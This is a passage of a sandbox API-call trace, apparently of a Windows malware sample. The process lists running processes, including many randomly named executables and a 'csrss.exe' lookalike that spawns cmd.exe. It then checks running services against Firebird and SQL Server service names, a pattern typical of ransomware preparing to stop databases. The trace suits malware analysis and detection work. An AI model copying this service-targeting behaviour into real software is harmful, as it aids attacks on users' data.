hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.328] lstrlenW (lpString="svchost.exe") returned 11 [0129.328] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.329] lstrlenW (lpString="svchost.exe") returned 11 [0129.329] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0129.330] lstrlenW (lpString="spoolsv.exe") returned 11 [0129.330] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.331] lstrlenW (lpString="svchost.exe") returned 11 [0129.331] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.331] lstrlenW (lpString="svchost.exe") returned 11 [0129.331] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0129.332] lstrlenW (lpString="audiodg.exe") returned 11 [0129.332] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0129.333] lstrlenW (lpString="sihost.exe") returned 10 [0129.333] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.334] lstrlenW (lpString="svchost.exe") returned 11 [0129.334] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.334] lstrlenW (lpString="taskhostw.exe") returned 13 [0129.334] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0129.335] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0129.335] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0129.336] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0129.336] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0129.337] lstrlenW (lpString="explorer.exe") returned 12 [0129.337] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0129.338] lstrlenW (lpString="Memory Compression") returned 18 [0129.338] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0129.338] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0129.338] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0129.339] lstrlenW (lpString="SearchUI.exe") returned 12 [0129.339] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0129.340] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0129.340] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0129.340] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0129.341] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.341] lstrlenW (lpString="taskhostw.exe") returned 13 [0129.341] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0129.342] lstrlenW (lpString="UsoClient.exe") returned 13 [0129.342] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.349] lstrlenW (lpString="taskhostw.exe") returned 13 [0129.349] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0129.350] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0129.350] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0129.351] lstrlenW (lpString="msoia.exe") returned 9 [0129.351] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0129.352] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0129.352] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0129.352] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0129.353] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0129.353] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0129.353] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0129.354] lstrlenW (lpString="arc obviously.exe") returned 17 [0129.354] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0129.355] lstrlenW (lpString="scholars.exe") returned 12 [0129.355] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0129.355] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0129.355] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0129.356] lstrlenW (lpString="organizing.exe") returned 14 [0129.356] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0129.357] lstrlenW (lpString="campus.exe") returned 10 [0129.357] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0129.358] lstrlenW (lpString="mug.exe") returned 7 [0129.358] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0129.358] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0129.358] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0129.359] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0129.359] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0129.360] lstrlenW (lpString="powers mixture.exe") returned 18 [0129.360] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0129.360] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0129.361] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0129.361] lstrlenW (lpString="bachelor.exe") returned 12 [0129.361] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0129.442] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0129.442] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0129.443] lstrlenW (lpString="indication wage paying.exe") returned 26 [0129.443] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0129.445] lstrlenW (lpString="thee pub emission.exe") returned 21 [0129.445] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0129.446] lstrlenW (lpString="dllhost.exe") returned 11 [0129.446] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0129.447] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0129.448] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0129.448] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0129.448] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0129.449] lstrlenW (lpString="upgrading.exe") returned 13 [0129.449] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0129.451] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0129.451] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0129.452] lstrlenW (lpString="russell.exe") returned 11 [0129.452] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.453] lstrlenW (lpString="conhost.exe") returned 11 [0129.453] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.454] lstrlenW (lpString="conhost.exe") returned 11 [0129.454] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.455] lstrlenW (lpString="svchost.exe") returned 11 [0129.455] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0129.456] lstrlenW (lpString="1csrss.exe") returned 10 [0129.456] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0129.457] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0129.457] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.457] lstrlenW (lpString="conhost.exe") returned 11 [0129.458] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0129.458] lstrlenW (lpString="cmd.exe") returned 7 [0129.458] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.459] lstrlenW (lpString="conhost.exe") returned 11 [0129.459] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.460] lstrlenW (lpString="svchost.exe") returned 11 [0129.460] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0129.461] lstrlenW (lpString="sppsvc.exe") returned 10 [0129.462] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0129.462] lstrlenW (lpString="LogonUI.exe") returned 11 [0129.463] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0129.463] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0129.463] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0129.464] CloseHandle (hObject=0x394) returned 1 [0129.464] Sleep (dwMilliseconds=0x1f4) [0130.011] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eee80 [0130.012] EnumServicesStatusExW (in: hSCManager=0x5eee80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0130.012] GetLastError () returned 0xea [0130.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1dbc) returned 0x43a1500 [0130.012] EnumServicesStatusExW (in: hSCManager=0x5eee80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43a1500, cbBufSize=0x1dbc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43a1500, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0130.013] CloseServiceHandle (hSCObject=0x5eee80) returned 1 [0130.013] lstrlenW (lpString="Appinfo") returned 7 [0130.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0130.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0130.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0130.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0130.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0130.013] lstrlenW (lpString="AppXSvc") returned 7 [0130.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0130.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0130.014] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0130.014] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0130.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0130.014] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0130.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.014] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0130.014] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0130.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0130.014] lstrlenW (lpString="Audiosrv") returned 8 [0130.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0130.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0130.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0130.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0130.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0130.014] lstrlenW (lpString="BFE") returned 3 [0130.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0130.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0130.014] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0130.014] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0130.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0130.014] lstrlenW (lpString="BITS") returned 4 [0130.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0130.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0130.014] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0130.014] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0130.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0130.015] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0130.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0130.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0130.015] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0130.015] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0130.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0130.015] lstrlenW (lpString="CDPSvc") returned 6 [0130.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0130.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0130.015] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0130.015] lstrcmpiW 